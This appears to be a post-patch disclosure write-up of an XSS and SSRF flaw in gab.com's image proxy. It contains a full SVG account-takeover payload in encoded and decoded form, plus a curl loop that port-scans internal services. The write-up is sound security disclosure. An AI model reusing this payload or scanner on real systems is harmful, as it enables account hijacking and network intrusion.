gab.com XSS


Gab is a microblogging service, primarily based on Mastodon. It’s maintained by some hard right wing weirdos with questionable expertise. They had an XSS vulnerability (one amongst many types of issues, it turned out) and was patched 2021-02-26.

It’s written in Ruby and I don’t know Ruby at all but it’s pretty obvious what the problem was.

require 'base64'
require 'net/http'

class Api::V2::ImageProxyController < EmptyController
  def get
    if params[:trends_url].nil?
      raise GabSocial::NotPermittedError
    else
      url = URI.parse(params[:trends_url])
      image = Net::HTTP.get_response(url)
      send_data image.body, type: image.content_type, disposition: 'inline'
    end
  end
end

In their “image proxy” controller, it will take an input parameter trends_url and render it. This is intended for, as the name would suggest, images. However as we can see it will just take the type provided by the remote server and serve the content with that type.

As such, we can construct a URL which allows us to render any content on gab.com, e.g. https://gab.com/api/v2/image_proxy?trends_url=http://ifconfig.me will show it’s outbound connection IP, as returned by ifconfig.me.

They have a CSP, but we could already render content on the gab.com domain through this same method it’s not an hinderance.

The payload I created would be sent to a user, and when loaded through the Gab image_proxy API and rendered in the browser of a logged in Gab user would update their Gab accounts registered email address. To achieve this we leverage a second weakness, in that the finish_signup process could be reached after sign-up to change the accounts registered email without any confirmation or additional authorisation (typically, this would require a user re-entering their password to confirm the change or accepting the change via email to the old email address).

First, it would use XHR to GET /auth/finish_signup to obtain this form for the logged in user. Since the <script> section of our payload is under gab.com we’re allowed to fetch it and view the results. From this we obtain the CSRF token we need to submit the finish_signup form. We can also obtain the current users email address from here, it could be XHR’d out to an external source but we don’t currently.

Secondly, it would use XHR to POST /auth/finish_signup to set a new email address on the logged in users account, using the previously obtain CSRF token.

At this point we can confirm the email address at the new address we provided (no confirmation at the old is needed, but a notification email is sent) and once confirmed we can initiate a password reset to our malicious address and take control of the account.

For the payload itself, I worked some fun XML ENTITY related tricks, to smuggle a <script> section into the SVG as an HTML entity encoded XML entity. The XML opt entity defines the email address which will be used in the POST request.

<!DOCTYPE svg [
  <!ENTITY opt "[email protected]">
  <!ENTITY item "&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x5f;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x20;&#x3d;&#x20;&#x22;&opt;&#x22;&#x3b;&#x0a;&#x3c;&#x21;&#x5b;&#x43;&#x44;&#x41;&#x54;&#x41;&#x5b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x4d;&#x4c;&#x48;&#x74;&#x74;&#x70;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x28;&#x29;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x4d;&#x4c;&#x48;&#x74;&#x74;&#x70;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x28;&#x29;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x6e;&#x6c;&#x6f;&#x61;&#x64;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x72;&#x20;&#x3d;&#x20;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x54;&#x65;&#x78;&#x74;&#x0a;&#x09;&#x6c;&#x65;&#x74;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x22;&#x22;&#x2c;&#x0a;&#x09;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x20;&#x3d;&#x20;&#x5b;&#x5d;&#x2c;&#x0a;&#x09;&#x20;&#x64;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x7b;&#x7d;&#x2c;&#x0a;&#x09;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x5f;&#x6d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x22;&#x5d;&#x3d;&#x22;&#x70;&#x61;&#x74;&#x63;&#x68;&#x22;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x61;&#x75;&#x74;&#x68;&#x65;&#x6e;&#x74;&#x69;&#x63;&#x69;&#x74;&#x79;&#x5f;&#x74;&#x6f;&#x6b;&#x65;&#x6e;&#x22;&#x5d;&#x3d;&#x72;&#x2e;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x28;&#x2f;&#x6d;&#x65;&#x74;&#x61;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x63;&#x73;&#x72;&#x66;&#x2d;&#x74;&#x6f;&#x6b;&#x65;&#x6e;&#x22;&#x20;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x3d;&#x22;&#x28;&#x2e;&#x2a;&#x29;&#x22;&#x20;&#x5c;&#x2f;&#x2f;&#x29;&#x5b;&#x31;&#x5d;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x75;&#x73;&#x65;&#x72;&#x5b;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x5d;&#x22;&#x5d;&#x3d;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x5f;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x63;&#x6f;&#x6d;&#x6d;&#x69;&#x74;&#x22;&#x5d;&#x3d;&#x22;&#x43;&#x6f;&#x6e;&#x66;&#x69;&#x72;&#x6d;&#x20;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x22;&#x3b;&#x0a;&#x09;&#x66;&#x6f;&#x72;&#x28;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x69;&#x6e;&#x20;&#x64;&#x61;&#x74;&#x61;&#x20;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x2e;&#x70;&#x75;&#x73;&#x68;&#x28;&#x20;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x55;&#x52;&#x49;&#x43;&#x6f;&#x6d;&#x70;&#x6f;&#x6e;&#x65;&#x6e;&#x74;&#x28;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x29;&#x20;&#x2b;&#x20;&#x27;&#x3d;&#x27;&#x20;&#x2b;&#x20;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x55;&#x52;&#x49;&#x43;&#x6f;&#x6d;&#x70;&#x6f;&#x6e;&#x65;&#x6e;&#x74;&#x28;&#x20;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x6e;&#x61;&#x6d;&#x65;&#x5d;&#x20;&#x29;&#x20;&#x29;&#x3b;&#x0a;&#x09;&#x7d;&#x0a;&#x09;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x2e;&#x6a;&#x6f;&#x69;&#x6e;&#x28;&#x20;&#x27;&#x26;&#x27;&#x20;&#x29;&#x2e;&#x72;&#x65;&#x70;&#x6c;&#x61;&#x63;&#x65;&#x28;&#x20;&#x2f;&#x25;&#x32;&#x30;&#x2f;&#x67;&#x2c;&#x20;&#x27;&#x2b;&#x27;&#x20;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x22;&#x50;&#x4f;&#x53;&#x54;&#x22;&#x2c;&#x20;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x67;&#x61;&#x62;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x66;&#x69;&#x6e;&#x69;&#x73;&#x68;&#x5f;&#x73;&#x69;&#x67;&#x6e;&#x75;&#x70;&#x22;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x73;&#x65;&#x74;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x48;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x27;&#x43;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x2d;&#x54;&#x79;&#x70;&#x65;&#x27;&#x2c;&#x20;&#x27;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2f;&#x78;&#x2d;&#x77;&#x77;&#x77;&#x2d;&#x66;&#x6f;&#x72;&#x6d;&#x2d;&#x75;&#x72;&#x6c;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x27;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x73;&#x65;&#x6e;&#x64;&#x28;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x29;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x3d;&#x20;&#x22;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x73;&#x69;&#x67;&#x6e;&#x5f;&#x69;&#x6e;&#x22;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x6e;&#x6c;&#x6f;&#x61;&#x64;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x3d;&#x20;&#x22;&#x2f;&#x68;&#x6f;&#x6d;&#x65;&#x22;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x72;&#x65;&#x6c;&#x6f;&#x61;&#x64;&#x28;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x22;&#x47;&#x45;&#x54;&#x22;&#x2c;&#x20;&#x22;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x66;&#x69;&#x6e;&#x69;&#x73;&#x68;&#x5f;&#x73;&#x69;&#x67;&#x6e;&#x75;&#x70;&#x22;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x73;&#x65;&#x6e;&#x64;&#x28;&#x29;&#x3b;&#x0a;&#x5d;&#x5d;&#x3e;&#x0a;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;">
]>
<svg
	xmlns:svg="http://www.w3.org/2000/svg"
	xmlns="http://www.w3.org/2000/svg"
	version="1.1">
	<path fill="#CCD6DD" d="M27.865 16.751c0-6.242-4.411-9.988-9.927-9.988s-9.835 3.746-9.835 9.988c0 3.48-.103 6.485 3.897 7.89v2.722c0 1.034.966 1.872 2 1.872 1.035 0 2-.838 2-1.872v-1.97 1.97c0 1.034.965 1.872 2 1.872 1.036 0 2-.838 2-1.872v-1.97 1.97c0 1.034.966 1.872 2 1.872s2-.838 2-1.872v-2.722c4-1.405 3.865-4.41 3.865-7.89z"/><circle fill="#292F33" cx="13.629" cy="15.503" r="3.121"/><path fill="#292F33" d="M25.488 15.503c0 1.724 0 3.121-3.121 3.121-3.12 0-3.12-1.397-3.12-3.121s1.396-3.121 3.12-3.121c1.725 0 3.121 1.397 3.121 3.121zm-6.301 5.656c-.157-.382-.626-.662-1.189-.662-.561 0-1.031.28-1.188.662-.394.11-.685.469-.685.898 0 .517.419.936.937.936.409 0 .753-.263.88-.628.019 0 .037.004.056.004.019 0 .037-.004.057-.004.128.365.472.628.88.628.517 0 .936-.419.936-.936 0-.429-.291-.786-.684-.898z"/><path d="M11 27c0-.367.075-.713.195-1.038-.984-.447-1.831-1.082-2.503-1.97-1.107.969-2.163 1.876-3.127 2.695C4.985 26.26 4.275 26 3.5 26 1.567 26 0 27.566 0 29.5c0 1.778 1.33 3.229 3.046 3.454C3.271 34.671 4.722 36 6.5 36c1.933 0 3.5-1.566 3.5-3.5 0-.775-.26-1.485-.686-2.065.6-.706 1.246-1.46 1.931-2.25C11.088 27.821 11 27.421 11 27zm16.872-15.482c.884-.769 1.729-1.495 2.515-2.163.569.403 1.262.645 2.013.645 1.934 0 3.5-1.567 3.5-3.5 0-1.743-1.277-3.177-2.945-3.444C32.735 1.335 31.281 0 29.5 0 27.566 0 26 1.567 26 3.5c0 .775.26 1.485.687 2.065-.594.7-1.233 1.445-1.911 2.227 1.3.871 2.361 2.095 3.096 3.726zM3.5 10c.775 0 1.485-.26 2.065-.687.799.679 1.661 1.419 2.564 2.204.735-1.631 1.795-2.855 3.096-3.726-.679-.781-1.317-1.527-1.912-2.226.427-.58.687-1.29.687-2.065C10 1.567 8.433 0 6.5 0 4.722 0 3.271 1.33 3.046 3.046 1.33 3.271 0 4.722 0 6.5 0 8.433 1.567 10 3.5 10zm28.9 16c-.752 0-1.444.242-2.014.645-.952-.809-1.99-1.701-3.079-2.653-.672.889-1.519 1.523-2.503 1.971.121.324.196.67.196 1.037 0 .421-.088.821-.245 1.185.685.79 1.331 1.544 1.931 2.25-.426.58-.686 1.29-.686 2.065 0 1.934 1.566 3.5 3.5 3.5 1.781 0 3.235-1.334 3.455-3.056 1.668-.267 2.945-1.701 2.945-3.444 0-1.934-1.566-3.5-3.5-3.5z" fill="#AAB8C2"/>
	&item;
</svg>

It’s encoded purely for very limited obfuscation purposes, unencoded it looks like this…

<!DOCTYPE svg>
<svg
	xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
version="1.1">
<path fill="#CCD6DD" d="M27.865 16.751c0-6.242-4.411-9.988-9.927-9.988s-9.835 3.746-9.835 9.988c0 3.48-.103 6.485 3.897 7.89v2.722c0 1.034.966 1.872 2 1.872 1.035 0 2-.838 2-1.872v-1.97 1.97c0 1.034.965 1.872 2 1.872 1.036 0 2-.838 2-1.872v-1.97 1.97c0 1.034.966 1.872 2 1.872s2-.838 2-1.872v-2.722c4-1.405 3.865-4.41 3.865-7.89z"/><circle fill="#292F33" cx="13.629" cy="15.503" r="3.121"/><path fill="#292F33" d="M25.488 15.503c0 1.724 0 3.121-3.121 3.121-3.12 0-3.12-1.397-3.12-3.121s1.396-3.121 3.12-3.121c1.725 0 3.121 1.397 3.121 3.121zm-6.301 5.656c-.157-.382-.626-.662-1.189-.662-.561 0-1.031.28-1.188.662-.394.11-.685.469-.685.898 0 .517.419.936.937.936.409 0 .753-.263.88-.628.019 0 .037.004.056.004.019 0 .037-.004.057-.004.128.365.472.628.88.628.517 0 .936-.419.936-.936 0-.429-.291-.786-.684-.898z"/><path d="M11 27c0-.367.075-.713.195-1.038-.984-.447-1.831-1.082-2.503-1.97-1.107.969-2.163 1.876-3.127 2.695C4.985 26.26 4.275 26 3.5 26 1.567 26 0 27.566 0 29.5c0 1.778 1.33 3.229 3.046 3.454C3.271 34.671 4.722 36 6.5 36c1.933 0 3.5-1.566 3.5-3.5 0-.775-.26-1.485-.686-2.065.6-.706 1.246-1.46 1.931-2.25C11.088 27.821 11 27.421 11 27zm16.872-15.482c.884-.769 1.729-1.495 2.515-2.163.569.403 1.262.645 2.013.645 1.934 0 3.5-1.567 3.5-3.5 0-1.743-1.277-3.177-2.945-3.444C32.735 1.335 31.281 0 29.5 0 27.566 0 26 1.567 26 3.5c0 .775.26 1.485.687 2.065-.594.7-1.233 1.445-1.911 2.227 1.3.871 2.361 2.095 3.096 3.726zM3.5 10c.775 0 1.485-.26 2.065-.687.799.679 1.661 1.419 2.564 2.204.735-1.631 1.795-2.855 3.096-3.726-.679-.781-1.317-1.527-1.912-2.226.427-.58.687-1.29.687-2.065C10 1.567 8.433 0 6.5 0 4.722 0 3.271 1.33 3.046 3.046 1.33 3.271 0 4.722 0 6.5 0 8.433 1.567 10 3.5 10zm28.9 16c-.752 0-1.444.242-2.014.645-.952-.809-1.99-1.701-3.079-2.653-.672.889-1.519 1.523-2.503 1.971.121.324.196.67.196 1.037 0 .421-.088.821-.245 1.185.685.79 1.331 1.544 1.931 2.25-.426.58-.686 1.29-.686 2.065 0 1.934 1.566 3.5 3.5 3.5 1.781 0 3.235-1.334 3.455-3.056 1.668-.267 2.945-1.701 2.945-3.444 0-1.934-1.566-3.5-3.5-3.5z" fill="#AAB8C2"/>
<script>
    takeover_email = "[email protected]";
    csrfetch = new XMLHttpRequest();
    takeover = new XMLHttpRequest();
    csrfetch.onload = function() {
	r = csrfetch.responseText
	//current_email = r.match(/type=\"email\" value=\"(.*)\" name=\"user\[email\]\" id=\"user_email\"/)[1];
	let urlEncodedData = "",urlEncodedDataPairs = [],data = {},name;
	data["_method"]="patch";
	data["authenticity_token"]=r.match(/meta name=\"csrf-token\" content=\"(.*)\" \//)[1];
	data["user[email]"]=takeover_email;
	data["commit"]="Confirm email";
	for( name in data ) {
		urlEncodedDataPairs.push( encodeURIComponent( name ) + '=' + encodeURIComponent( data[name] ) );
	}
	urlEncodedData = urlEncodedDataPairs.join( '&' ).replace( /%20/g, '+' );
	takeover.open("POST", "https://gab.com/auth/finish_signup", true);
	takeover.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	takeover.send(urlEncodedData);
    };
    csrfetch.onerror = function() {
	window.location = "/auth/sign_in";
    };
    takeover.onload = function() {
	window.location = "/home";
    };
    takeover.onerror = function() {
	location.reload(true);
    };
    csrfetch.open("GET", "/auth/finish_signup", true);
    csrfetch.send();
</script>

There’s a lot of fucking around in preparing the POST request because in SVG we don’t seem to have a document.body to put <form/> entities on to .submit().

Extras

Since we can make the gab.com webapp make any request we like, this also allows us to make connections within their internal network.

There is potential for cross-protocol or SSRF attacks.

As an example, we will use an error message as an oracle to let us check for open TCP ports on the webapp’s localhost.

$ curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:12345 2> /dev/null | head -n 1
<!DOCTYPE html>

We get an HTML based error page on port 12345.

$ curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:22 2> /dev/null | head -n 1
{"error":"Remote SSL certificate could not be verified"}

However, we get an SSL error on port 22.

We can conclude that when it tries to connect to localhost:12345 it fails to connect, but when it connects on localhost:22 it gets some response but it’s not a valid SSL certificate (note, we are using https://localhost).

This allows us to check which services are running, and we have some control over what data is sent to them. This error oracle lets us construct a primitive port-scanner.

$ for PORT in 21 22 25 80 443 3000; do curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:$PORT 2> /dev/null | head -n 1 | grep -q "Remote SSL certificate could not be verified" && echo "$PORT open" || echo "$PORT closed";done
21 closed
22 open
25 closed
80 open
443 closed
3000 open